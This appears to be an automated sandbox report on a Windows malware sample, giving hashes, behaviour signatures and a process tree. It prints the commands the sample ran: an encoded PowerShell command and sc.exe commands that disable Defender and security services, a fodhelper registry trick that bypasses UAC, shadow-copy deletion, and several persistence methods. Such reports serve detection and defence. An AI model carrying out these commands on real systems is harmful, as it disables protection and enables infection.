Analysis
- max time kernel
150s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
20/08/2026, 10:44
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
xoilactvd.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
xoilactvd.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target xoilactvd.io_hyber.exe
- Size 49KB
- Sample260820-mst4max1e1
- SHA256 dd7bd21e3e3101a1c8b4ec20b5a77052826cd6c7741b0fda476c9c0bfc7b47c2
- MD5 6577767aa3445b8bec4188b3ddb82823
- SHA1 e67abdfdd62f05c4d5a192595bc90a121588e214
- SHA512 35a5bec10442475ed2aae16ee4c044b2fed038cd8573070228f33f4b32b58b348431521036aef40a0e283695780a341693ea018602477652fb9093ea069aa76e
- SSDEEP 768:krVZZ6zs0hP4NaFkz0Cyq2/NaPzfX/fTN4p:CZ6HhAN+Jy2mP/fTN4p
- TLSH T1F133F74937ED4521D1BF9ABE89B291118731F493DC23DB8E1AD9459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/1564-1-0x0000000000070000-0x0000000000082000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" xoilactvd.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4240 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" xoilactvd.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts xoilactvd.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2016 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf xoilactvd.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf xoilactvd.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf xoilactvd.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactvd.io_hyber.exe" xoilactvd.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3600 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe xoilactvd.io_hyber.exe File created C:\Windows\system32\sysupdate.exe xoilactvd.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe xoilactvd.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 1548 wscript.exe 2508 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" xoilactvd.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1466731457.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 244 sc.exe 3424 sc.exe 1896 sc.exe 1380 sc.exe 5616 sc.exe 1720 sc.exe 6080 sc.exe 1600 sc.exe 2988 sc.exe 3832 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3256 cmd.exe 2920 cmd.exe 5456 cmd.exe 4812 cmd.exe 6116 cmd.exe 2036 cmd.exe 5588 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1532 NETSTAT.EXE 932 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5116 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1140 vssadmin.exe 5712 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2" xoilactvd.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command xoilactvd.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings xoilactvd.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell xoilactvd.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell xoilactvd.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet xoilactvd.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open xoilactvd.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactvd.io_hyber.exe\" \"%1\"" xoilactvd.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command xoilactvd.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactvd.io_hyber.exe" xoilactvd.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute xoilactvd.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell xoilactvd.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open xoilactvd.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command xoilactvd.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open xoilactvd.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings xoilactvd.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" xoilactvd.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 692 schtasks.exe 2324 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4240 powershell.exe 4240 powershell.exe 4240 powershell.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 3264 WMIC.exe 3264 WMIC.exe 3264 WMIC.exe 3264 WMIC.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1548 WMIC.exe 1548 WMIC.exe 1548 WMIC.exe 1548 WMIC.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe 1564 xoilactvd.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 5676 LogonUI.exe Token: SeCreatePagefilePrivilege 5676 LogonUI.exe Token: SeDebugPrivilege 1564 xoilactvd.io_hyber.exe Token: SeDebugPrivilege 4240 powershell.exe Token: SeIncreaseQuotaPrivilege 4240 powershell.exe Token: SeSecurityPrivilege 4240 powershell.exe Token: SeTakeOwnershipPrivilege 4240 powershell.exe Token: SeLoadDriverPrivilege 4240 powershell.exe Token: SeSystemProfilePrivilege 4240 powershell.exe Token: SeSystemtimePrivilege 4240 powershell.exe Token: SeProfSingleProcessPrivilege 4240 powershell.exe Token: SeIncBasePriorityPrivilege 4240 powershell.exe Token: SeCreatePagefilePrivilege 4240 powershell.exe Token: SeBackupPrivilege 4240 powershell.exe Token: SeRestorePrivilege 4240 powershell.exe Token: SeShutdownPrivilege 4240 powershell.exe Token: SeDebugPrivilege 4240 powershell.exe Token: SeSystemEnvironmentPrivilege 4240 powershell.exe Token: SeRemoteShutdownPrivilege 4240 powershell.exe Token: SeUndockPrivilege 4240 powershell.exe Token: SeManageVolumePrivilege 4240 powershell.exe Token: 33 4240 powershell.exe Token: 34 4240 powershell.exe Token: 35 4240 powershell.exe Token: 36 4240 powershell.exe Token: SeIncreaseQuotaPrivilege 4240 powershell.exe Token: SeSecurityPrivilege 4240 powershell.exe Token: SeTakeOwnershipPrivilege 4240 powershell.exe Token: SeLoadDriverPrivilege 4240 powershell.exe Token: SeSystemProfilePrivilege 4240 powershell.exe Token: SeSystemtimePrivilege 4240 powershell.exe Token: SeProfSingleProcessPrivilege 4240 powershell.exe Token: SeIncBasePriorityPrivilege 4240 powershell.exe Token: SeCreatePagefilePrivilege 4240 powershell.exe Token: SeBackupPrivilege 4240 powershell.exe Token: SeRestorePrivilege 4240 powershell.exe Token: SeShutdownPrivilege 4240 powershell.exe Token: SeDebugPrivilege 4240 powershell.exe Token: SeSystemEnvironmentPrivilege 4240 powershell.exe Token: SeRemoteShutdownPrivilege 4240 powershell.exe Token: SeUndockPrivilege 4240 powershell.exe Token: SeManageVolumePrivilege 4240 powershell.exe Token: 33 4240 powershell.exe Token: 34 4240 powershell.exe Token: 35 4240 powershell.exe Token: 36 4240 powershell.exe Token: SeIncBasePriorityPrivilege 1564 xoilactvd.io_hyber.exe Token: SeDebugPrivilege 1680 whoami.exe Token: SeDebugPrivilege 3600 tasklist.exe Token: SeDebugPrivilege 1532 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 3264 WMIC.exe Token: SeSecurityPrivilege 3264 WMIC.exe Token: SeTakeOwnershipPrivilege 3264 WMIC.exe Token: SeLoadDriverPrivilege 3264 WMIC.exe Token: SeSystemProfilePrivilege 3264 WMIC.exe Token: SeSystemtimePrivilege 3264 WMIC.exe Token: SeProfSingleProcessPrivilege 3264 WMIC.exe Token: SeIncBasePriorityPrivilege 3264 WMIC.exe Token: SeCreatePagefilePrivilege 3264 WMIC.exe Token: SeBackupPrivilege 3264 WMIC.exe Token: SeRestorePrivilege 3264 WMIC.exe Token: SeShutdownPrivilege 3264 WMIC.exe Token: SeDebugPrivilege 3264 WMIC.exe Token: SeSystemEnvironmentPrivilege 3264 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1564 xoilactvd.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 5676 LogonUI.exe 5676 LogonUI.exe 1564 xoilactvd.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 1564 wrote to memory of 4240 1564 xoilactvd.io_hyber.exe 91 PID 1564 wrote to memory of 3424 1564 xoilactvd.io_hyber.exe 93 PID 1564 wrote to memory of 244 1564 xoilactvd.io_hyber.exe 95 PID 1564 wrote to memory of 1896 1564 xoilactvd.io_hyber.exe 97 PID 1564 wrote to memory of 6080 1564 xoilactvd.io_hyber.exe 99 PID 1564 wrote to memory of 1380 1564 xoilactvd.io_hyber.exe 101 PID 1564 wrote to memory of 1600 1564 xoilactvd.io_hyber.exe 103 PID 1564 wrote to memory of 2988 1564 xoilactvd.io_hyber.exe 105 PID 1564 wrote to memory of 5616 1564 xoilactvd.io_hyber.exe 107 PID 1564 wrote to memory of 2592 1564 xoilactvd.io_hyber.exe 109 PID 2592 wrote to memory of 5368 2592 fodhelper.exe 110 PID 1564 wrote to memory of 1548 1564 xoilactvd.io_hyber.exe 160 PID 1564 wrote to memory of 692 1564 xoilactvd.io_hyber.exe 114 PID 1564 wrote to memory of 5588 1564 xoilactvd.io_hyber.exe 119 PID 1564 wrote to memory of 2036 1564 xoilactvd.io_hyber.exe 121 PID 1564 wrote to memory of 6116 1564 xoilactvd.io_hyber.exe 122 PID 1564 wrote to memory of 5456 1564 xoilactvd.io_hyber.exe 123 PID 1564 wrote to memory of 2920 1564 xoilactvd.io_hyber.exe 124 PID 1564 wrote to memory of 3256 1564 xoilactvd.io_hyber.exe 125 PID 1564 wrote to memory of 4812 1564 xoilactvd.io_hyber.exe 126 PID 1564 wrote to memory of 2324 1564 xoilactvd.io_hyber.exe 129 PID 1564 wrote to memory of 2508 1564 xoilactvd.io_hyber.exe 133 PID 1564 wrote to memory of 6140 1564 xoilactvd.io_hyber.exe 136 PID 2036 wrote to memory of 5116 2036 cmd.exe 137 PID 5456 wrote to memory of 1680 5456 cmd.exe 138 PID 1564 wrote to memory of 1140 1564 xoilactvd.io_hyber.exe 139 PID 1564 wrote to memory of 3264 1564 xoilactvd.io_hyber.exe 140 PID 1564 wrote to memory of 3084 1564 xoilactvd.io_hyber.exe 141 PID 1564 wrote to memory of 2016 1564 xoilactvd.io_hyber.exe 142 PID 1564 wrote to memory of 1720 1564 xoilactvd.io_hyber.exe 143 PID 1564 wrote to memory of 3832 1564 xoilactvd.io_hyber.exe 144 PID 2920 wrote to memory of 3100 2920 cmd.exe 151 PID 6116 wrote to memory of 3600 6116 cmd.exe 152 PID 3100 wrote to memory of 1276 3100 net.exe 153 PID 4812 wrote to memory of 1532 4812 cmd.exe 154 PID 3256 wrote to memory of 932 3256 cmd.exe 155 PID 5588 wrote to memory of 5712 5588 cmd.exe 156 PID 3084 wrote to memory of 2608 3084 net.exe 157 PID 5588 wrote to memory of 1548 5588 cmd.exe 160 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\xoilactvd.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\xoilactvd.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4240
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3424
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:244
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:1896
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:6080
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1380
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1600
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2988
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:5616
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Users\Admin\AppData\Local\Temp\xoilactvd.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\xoilactvd.io_hyber.exe"3⤵PID:5368
